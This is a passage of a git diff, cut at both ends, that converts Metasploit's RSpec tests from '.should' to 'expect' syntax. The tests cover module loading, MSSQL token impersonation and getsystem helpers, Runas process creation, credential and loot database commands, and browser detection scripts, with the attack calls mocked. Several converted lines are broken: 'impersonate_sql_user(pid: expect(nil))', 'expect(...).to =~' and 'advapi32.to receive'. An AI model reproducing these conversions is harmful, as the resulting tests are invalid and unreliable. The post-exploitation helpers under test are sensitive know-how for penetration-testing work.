subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end end @@ -112,7 +112,7 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should not raise an error' do - File.exist?(module_path).should be_falsey + expect(File.exist?(module_path)).to be_falsey expect { subject.load_module(parent_path, type, module_reference_name) @@ -120,9 +120,9 @@ RSpec.describe Msf::Modules::Loader::Directory do end it 'should return false' do - File.exist?(module_path).should be_falsey + expect(File.exist?(module_path)).to be_falsey - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end end @@ -140,7 +140,7 @@ RSpec.describe Msf::Modules::Loader::Directory do # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test it 'should attempt to open the expected module_path' do expect(File).to receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_falsey + expect(File.exist?(module_path)).to be_falsey subject.send(:read_module_content, parent_path, type, module_reference_name) end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 177edb0270..c34eaa0ed9 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -37,7 +37,7 @@ RSpec.describe Msf::Modules::Namespace do constant.to_s =~ /Metasploit/ } - metasploit_constants.should be_empty + expect(metasploit_constants).to be_empty end end @@ -47,11 +47,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit1').should be_truthy + expect(subject.const_defined?('Metasploit1')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -61,11 +61,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit2').should be_truthy + expect(subject.const_defined?('Metasploit2')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -75,11 +75,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit3').should be_truthy + expect(subject.const_defined?('Metasploit3')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -89,11 +89,11 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit4').should be_truthy + expect(subject.const_defined?('Metasploit4')).to be_truthy end it 'should return the class' do - subject.metasploit_class.should be_a Class + expect(subject.metasploit_class).to be_a Class end end @@ -103,15 +103,15 @@ RSpec.describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit5').should be_truthy + expect(subject.const_defined?('Metasploit5')).to be_truthy end it 'should be newer than Msf::Framework::Major' do - major.should > Msf::Framework::Major + expect(major).to > Msf::Framework::Major end it 'should return nil' do - subject.metasploit_class.should be_nil + expect(subject.metasploit_class).to be_nil end end end @@ -158,7 +158,7 @@ RSpec.describe Msf::Modules::Namespace do end error.should_not be_nil - error.to_s.should include(module_path) + expect(error.to_s).to include(module_path) end it 'should include the module reference name' do @@ -170,7 +170,7 @@ RSpec.describe Msf::Modules::Namespace do end error.should_not be_nil - error.to_s.should include(module_reference_name) + expect(error.to_s).to include(module_reference_name) end end end @@ -179,7 +179,7 @@ RSpec.describe Msf::Modules::Namespace do context 'version_compatible!' do context 'without RequiredVersions' do it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_falsey + expect(subject.const_defined?('RequiredVersions')).to be_falsey end it 'should not raise an error' do diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index 67f581f0b4..8e732966a3 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -12,7 +12,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should say cause was version check' do - subject.to_s.should match(/due to version check/) + expect(subject.to_s).to match(/due to version check/) end context 'with :minimum_api_version' do @@ -27,7 +27,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should include minimum_api_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) + expect(subject.to_s).to match(/due to version check \(requires API >= #{minimum_api_version}\)/) end end @@ -40,7 +40,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should include minimum_api_version and minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) + expect(subject.to_s).to match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) end end @@ -56,7 +56,7 @@ RSpec.describe Msf::Modules::VersionCompatibilityError do end it 'should include minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) + expect(subject.to_s).to match(/due to version check \(requires Core >= #{minimum_core_version}\)/) end end end diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index a51cb84905..fed8925a7d 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -121,19 +121,19 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should return nil if unable to locate any SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service) result = subject.check_for_sqlserver(instance) - result.should be_nil + expect(result).to be_nil end it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k8_sql_instance + expect(result).to eq running_2k8_sql_instance end it "shouldn't identify a non running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_2k8_sql_instance).and_yield(running_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k8_sql_instance + expect(result).to eq running_2k8_sql_instance end end @@ -141,7 +141,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_7_sql_instance + expect(result).to eq running_7_sql_instance end end @@ -149,13 +149,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_2k_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k_sql_instance + expect(result).to eq running_2k_sql_instance end it "should identify a named SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_named_2k_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k_sql_instance + expect(result).to eq running_named_2k_sql_instance end end @@ -163,13 +163,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k5_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k5_sql_instance + expect(result).to eq running_2k5_sql_instance end it "should identify a named SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k5_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k5_sql_instance + expect(result).to eq running_named_2k5_sql_instance end end @@ -177,13 +177,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_2k8_sql_instance + expect(result).to eq running_2k8_sql_instance end it "should identify a named SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_sql_server_agent_service).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end end @@ -195,25 +195,25 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should return nil if unable to locate any SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service) result = subject.check_for_sqlserver(instance) - result.should be_nil + expect(result).to be_nil end it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end it "shouldn't identify a non running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(stopped_named_2k8_sql_instance).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end it "should only identify that instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end end @@ -225,7 +225,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should identify a running SQL instance" do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service).and_yield(running_7_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_7_sql_instance + expect(result).to eq running_7_sql_instance end end @@ -238,7 +238,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service) .and_yield(running_2k_sql_instance).and_yield(running_named_2k_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k_sql_instance + expect(result).to eq running_named_2k_sql_instance end end @@ -251,7 +251,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service) .and_yield(running_2k5_sql_instance).and_yield(running_named_2k5_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k5_sql_instance + expect(result).to eq running_named_2k5_sql_instance end end @@ -264,7 +264,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do allow(subject).to receive(:each_service).and_yield(normal_service).and_yield(running_analysis_service) .and_yield(running_2k8_sql_instance).and_yield(running_named_2k8_sql_instance) result = subject.check_for_sqlserver(instance) - result.should eq running_named_2k8_sql_instance + expect(result).to eq running_named_2k8_sql_instance end end end @@ -287,9 +287,9 @@ RSpec.describe Msf::Post::Windows::MSSQL do end it 'should return false if service is invalid or pid is invalid' do - subject.impersonate_sql_user(nil).should be_falsey - subject.impersonate_sql_user(pid: nil).should be_falsey - subject.impersonate_sql_user(pid: 0).should be_falsey + expect(subject.impersonate_sql_user(nil)).to be_falsey + subject.impersonate_sql_user(pid: expect(nil)).to be_falsey + subject.impersonate_sql_user(pid: expect(0)).to be_falsey end context 'user has privs to impersonate' do @@ -302,17 +302,17 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return true if successful impersonating' do subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('Successfully') - subject.impersonate_sql_user(service).should be true + expect(subject.impersonate_sql_user(service)).to be true end it 'should return false if fails impersonating' do subject.stub_chain('session.incognito.incognito_impersonate_token').with(user).and_return('guff') - subject.impersonate_sql_user(service).should be false + expect(subject.impersonate_sql_user(service)).to be false end it 'should return false if unable to find process username' do subject.stub_chain('session.sys.process.each_process').and_yield('pid' => 0) - subject.impersonate_sql_user(service).should be false + expect(subject.impersonate_sql_user(service)).to be false end end @@ -325,13 +325,13 @@ RSpec.describe Msf::Post::Windows::MSSQL do it 'should return true if successful' do expect(subject).to receive(:print_warning) subject.stub_chain('session.core.migrate').with(pid).and_return(true) - subject.impersonate_sql_user(service).should be true + expect(subject.impersonate_sql_user(service)).to be true end it 'should rescue an exception if migration fails' do expect(subject).to receive(:print_warning) subject.stub_chain('session.core.migrate').with(pid).and_raise(Rex::RuntimeError) - subject.impersonate_sql_user(service).should be false + expect(subject.impersonate_sql_user(service)).to be false end end end @@ -339,21 +339,21 @@ RSpec.describe Msf::Post::Windows::MSSQL do describe "#get_system" do it 'should return true if already SYSTEM' do expect(subject).to receive(:is_system?).and_return(true) - subject.get_system.should be_truthy + expect(subject.get_system).to be_truthy end it 'should return true if able to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) subject.stub_chain('session.priv.getsystem').and_return([true]) - subject.get_system.should be_truthy + expect(subject.get_system).to be_truthy end it 'should return false if unable to get SYSTEM and print a warning' do expect(subject).to receive(:is_system?).and_return(false) expect(subject).to receive(:print_warning) subject.stub_chain('session.priv.getsystem').and_return([false]) - subject.get_system.should be_falsey + expect(subject.get_system).to be_falsey end end @@ -367,7 +367,7 @@ RSpec.describe Msf::Post::Windows::MSSQL do expect(c).to receive(:read).and_return(nil) expect(c).to receive(:close) expect(p).to receive(:close) - subject.run_cmd(nil).should eq 'hello' + expect(subject.run_cmd(nil)).to eq 'hello' end end @@ -395,9 +395,9 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'when only a query is supplied' do it 'should pass the @sql_client, and query to run_cmd' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S . ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S . ")).to be_truthy end subject.run_sql(query) end @@ -406,18 +406,18 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'when a query and instance is supplied' do it 'should pass the @sql_client, query, and instance to run_cmd' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S .\\#{instance} ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S .\\#{instance} ")).to be_truthy end subject.run_sql(query, instance) end it 'should shouldnt supply an instance if the target is mssqlserver (7/2000)' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S . ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S . ")).to be_truthy end subject.run_sql(query, 'mssqlsErver') end @@ -426,9 +426,9 @@ RSpec.describe Msf::Post::Windows::MSSQL do context 'when a query, instance, and server is supplied' do it 'should pass the @sql_client, query, instance, and server to run_cmd' do expect(subject).to receive(:run_cmd) do |*args| - args.first.include?(sqlclient).should be_truthy - args.first.include?("-Q \"#{query}\" ").should be_truthy - args.first.include?("-S #{server}\\#{instance} ").should be_truthy + expect(args.first.include?(sqlclient)).to be_truthy + expect(args.first.include?("-Q \"#{query}\" ")).to be_truthy + expect(args.first.include?("-S #{server}\\#{instance} ")).to be_truthy end subject.run_sql(query, instance, server) end @@ -446,24 +446,24 @@ RSpec.describe Msf::Post::Windows::MSSQL do describe "#check_osql" do it "should return nil if no osql" do expect(subject).to receive(:run_cmd).with('osql -?').and_return('blah') - subject.check_osql.should be_falsey + expect(subject.check_osql).to be_falsey end it "should return true if present" do expect(subject).to receive(:run_cmd).with('osql -?').and_return('(usage: osql)') - subject.check_osql.should be_truthy + expect(subject.check_osql).to be_truthy end end describe "#check_sqlcmd" do it "should return nil if no sqlcmd" do expect(subject).to receive(:run_cmd).and_return('blah') - subject.check_sqlcmd.should be_falsey + expect(subject.check_sqlcmd).to be_falsey end it "should return true if present" do expect(subject).to receive(:run_cmd).and_return('SQL Server Command Line Tool') - subject.check_sqlcmd.should be_truthy + expect(subject.check_sqlcmd).to be_truthy end end @@ -471,22 +471,22 @@ RSpec.describe Msf::Post::Windows::MSSQL do it "should return nil if no client is available" do expect(subject).to receive(:check_sqlcmd).and_return(false) expect(subject).to receive(:check_osql).and_return(false) - subject.get_sql_client.should be_nil - subject.sql_client.should be_nil + expect(subject.get_sql_client).to be_nil + expect(subject.sql_client).to be_nil end it "should return 'osql' if osql is available" do expect(subject).to receive(:check_sqlcmd).and_return(false) expect(subject).to receive(:check_osql).and_return(true) - subject.get_sql_client.should eq osql - subject.sql_client.should eq osql + expect(subject.get_sql_client).to eq osql + expect(subject.sql_client).to eq osql end it "should return 'sqlcmd' if sqlcmd is available" do allow(subject).to receive(:check_osql).and_return(true) expect(subject).to receive(:check_sqlcmd).and_return(true) - subject.get_sql_client.should eq sql_command - subject.sql_client.should eq sql_command + expect(subject.get_sql_client).to eq sql_command + expect(subject.sql_client).to eq sql_command end end end diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index bbcf9ac95e..8c7944b2cc 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -48,15 +48,15 @@ RSpec.describe Msf::Post::Windows::Runas do expect(advapi32).to receive(:CreateProcessWithLogonW) expect(kernel32).not_to receive(:CloseHandle) pi = subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe') - pi.should be_kind_of(Hash) - pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) end it "should return a nil on failure" do expect(advapi32).to receive(:CreateProcessWithLogonW) expect(kernel32).not_to receive(:CloseHandle) advapi32.to receive(:CreateProcessWithLogonW).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') - subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + expect(subject.create_process_with_logon(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end @@ -68,8 +68,8 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).to receive(:CloseHandle).with(1) expect(kernel32).to receive(:CloseHandle).with(2) pi = subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe') - pi.should be_kind_of(Hash) - pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) end it "should return a nil on failure of create process" do @@ -79,7 +79,7 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) advapi32.to receive(:CreateProcessAsUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') - subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end it "should return a nil on failure of logon user" do @@ -89,27 +89,27 @@ RSpec.describe Msf::Post::Windows::Runas do expect(kernel32).not_to receive(:CloseHandle).with(1) expect(kernel32).not_to receive(:CloseHandle).with(2) advapi32.to receive(:LogonUserA).and_return('return' => false, 'GetLastError' => 1783, 'ErrorMessage' => 'parp') - subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe').should be nil + expect(subject.create_process_as_user(nil, 'bob', 'pass', nil, 'cmd.exe')).to be nil end end context "#startup_info" do it "should be 68 bytes" do - subject.startup_info.size.should eq(68) + expect(subject.startup_info.size).to eq(68) end it "should return SW_HIDE=0 and STARTF_USESHOWWINDOW=1" do si = subject.startup_info.unpack('VVVVVVVVVVVVvvVVVV') - si[11].should eq(1) - si[12].should eq(0) + expect(si[11]).to eq(1) + expect(si[12]).to eq(0) end end context "#parse_process_information" do it "should return a hash when given valid data" do pi = subject.parse_process_information(process_info) - pi.should be_kind_of(Hash) - pi.should eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) + expect(pi).to be_kind_of(Hash) + expect(pi).to eq(process_handle: 1, thread_handle: 2, process_id: 3, thread_id: 4) end it "should return an exception when given an empty string" do @@ -141,15 +141,15 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return true when UPN format and domain is nil" do - subject.check_user_format(upn_username, nil).should be true + expect(subject.check_user_format(upn_username, nil)).to be true end it "should return true when domain format and domain is nil" do - subject.check_user_format(domain_username, nil).should be true + expect(subject.check_user_format(domain_username, nil)).to be true end it "should return true when domain format and domain supplied" do - subject.check_user_format(domain_username, domain).should be true + expect(subject.check_user_format(domain_username, domain)).to be true end end @@ -185,11 +185,11 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return true when application_name is set and command_line is nil" do - subject.check_command_length(application_name, nil, max_length).should be true + expect(subject.check_command_length(application_name, nil, max_length)).to be true end it "should return true when application_name is set and command_line is max_length" do - subject.check_command_length(application_name, normal_command_line, max_length).should be true + expect(subject.check_command_length(application_name, normal_command_line, max_length)).to be true end it "should raise an exception when command_line is larger than max_length" do @@ -201,7 +201,7 @@ RSpec.describe Msf::Post::Windows::Runas do end it "should return true when application_name is nil and command_module is less than MAX_PATH" do - subject.check_command_length(nil, normal_command_module, max_length).should be true + expect(subject.check_command_length(nil, normal_command_module, max_length)).to be true end end end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 794f54a5dd..a08d28e9cf 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -73,7 +73,7 @@ RSpec.describe Msf::DBManager::Export do context '/disclosure-date' do it 'should have Mdm::Module::Detail#disclosure_date present' do - module_detail.disclosure_date.should be_present + expect(module_detail.disclosure_date).to be_present end it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do @@ -101,7 +101,7 @@ RSpec.describe Msf::DBManager::Export do it 'should not write anything to report_file' do extract_module_detail_info - report_file.string.should be_empty + expect(report_file.string).to be_empty end end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index fc63a22569..4b062f1d71 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -78,19 +78,19 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do end it 'should have fullname in first column' do - cell(printed_table, 0, 0).should include(module_detail.fullname) + expect(cell(printed_table, 0, 0)).to include(module_detail.fullname) end it 'should have disclosure date in second column' do - cell(printed_table, 0, 1).should include(module_detail.disclosure_date.strftime("%Y-%m-%d")) + expect(cell(printed_table, 0, 1)).to include(module_detail.disclosure_date.strftime("%Y-%m-%d")) end it 'should have rank name in third column' do - cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) + expect(cell(printed_table, 0, 2)).to include(Msf::RankingName[module_detail.rank]) end it 'should have name in fourth column' do - cell(printed_table, 0, 3).should include(module_detail.name) + expect(cell(printed_table, 0, 3)).to include(module_detail.name) end end end @@ -113,14 +113,14 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do if framework_re @output = [] core.cmd_getg(name) - @output.join.should =~ framework_re + expect(@output.join).to =~ framework_re end # test the local value if specified if module_re @output = [] core.cmd_get(name) - @output.join.should =~ module_re + expect(@output.join).to =~ module_re end end @@ -128,10 +128,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do describe "without arguments" do it "should show the correct help message" do core.cmd_get - @output.join.should =~ /Usage: get / + expect(@output.join).to =~ /Usage: get / @output = [] core.cmd_getg - @output.join.should =~ /Usage: getg / + expect(@output.join).to =~ /Usage: getg / end end diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index efb93bc0e8..0523458532 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -200,7 +200,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do context "with an invalid type" do it "should print the list of valid types" do db.cmd_creds("-t", "asdf") - @error.should =~ [ + expect(@error).to =~ [ "Unrecognized credential type asdf -- must be one of password,ntlm,hash" ] end @@ -272,7 +272,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_creds("-t", "ntlm") # Table matching really sucks - @output.should =~ [ + expect(@output).to =~ [ "Credentials", "===========", "", @@ -319,7 +319,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_export "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage:", " db_export -f <format> [filename]", " Format can be one of: xml, pwdump" @@ -332,7 +332,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_db_import "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: db_import <filename> [file2...]", "Filenames can be globs like *.xml, or **/*.xml which will search recursively", "Currently supported file types include:", @@ -377,7 +377,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_hosts "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: hosts [ options ] [addr1 addr2 ...]", "OPTIONS:", " -a,--add Add the hosts instead of searching", @@ -402,7 +402,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_loot "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: loot <options>", " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", @@ -424,7 +424,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_notes "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", " -a,--add Add a note to the list of addresses, instead of listing", " -d,--delete Delete the hosts instead of searching", @@ -450,7 +450,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_services "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", " -a,--add Add the services instead of searching", " -d,--delete Delete the services instead of searching", @@ -476,7 +476,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do end it "should list services that are on a given port" do db.cmd_services "-p", "1024,1025" - @output.should =~ [ + expect(@output).to =~ [ "Services", "========", "", @@ -498,7 +498,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do skip { db.cmd_services "-np", "1024" - @output.should =~ [ + expect(@output).to =~ [ "Services", "========", "", @@ -516,7 +516,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_vulns "-h" - @output.should =~ [ + expect(@output).to =~ [ "Print all vulnerabilities in the database", "Usage: vulns [addr range]", " -h,--help Show this help information", @@ -542,7 +542,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "<no arguments>" do it "should list default workspace" do db.cmd_workspace - @output.should =~ [ + expect(@output).to =~ [ "* default" ] end @@ -551,7 +551,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace - @output.should =~ [ + expect(@output).to =~ [ " default", "* foo" ] @@ -561,7 +561,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-a" do it "should add workspaces" do db.cmd_workspace("-a", "foo", "bar", "baf") - @output.should =~ [ + expect(@output).to =~ [ "Added workspace: foo", "Added workspace: bar", "Added workspace: baf" @@ -574,7 +574,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-d", "foo") - @output.should =~ [ + expect(@output).to =~ [ "Deleted workspace: foo", "Switched workspace: default" ] @@ -586,7 +586,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do db.cmd_workspace("-a", "foo") @output = [] db.cmd_workspace("-D") - @output.should =~ [ + expect(@output).to =~ [ "Deleted and recreated the default workspace", "Deleted workspace: foo", "Switched workspace: default" @@ -597,7 +597,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do describe "-h" do it "should show a help message" do db.cmd_workspace "-h" - @output.should =~ [ + expect(@output).to =~ [ "Usage:", " workspace List workspaces", " workspace [name] Switch workspace", diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index 577ddb2701..a5169184cc 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -7,21 +7,21 @@ RSpec.describe Rex::Exploitation::Js::Detect do context ".os" do it "should load the OS detection in Javascript" do js = Rex::Exploitation::Js::Detect.os.to_s - js.should =~ /os_detect/ + expect(js).to =~ /os_detect/ end end context ".ie_addons" do it "should load the IE Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.ie_addons.to_s - js.should =~ /ie_addons_detect/ + expect(js).to =~ /ie_addons_detect/ end end context ".misc_addons" do it "should load the misc Addons detection in Javascript" do js = Rex::Exploitation::Js::Detect.misc_addons.to_s - js.should =~ /misc_addons_detect/ + expect(js).to =~ /misc_addons_detect/ end end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index 1750373ff2..1cdc5e0716 100644 --- 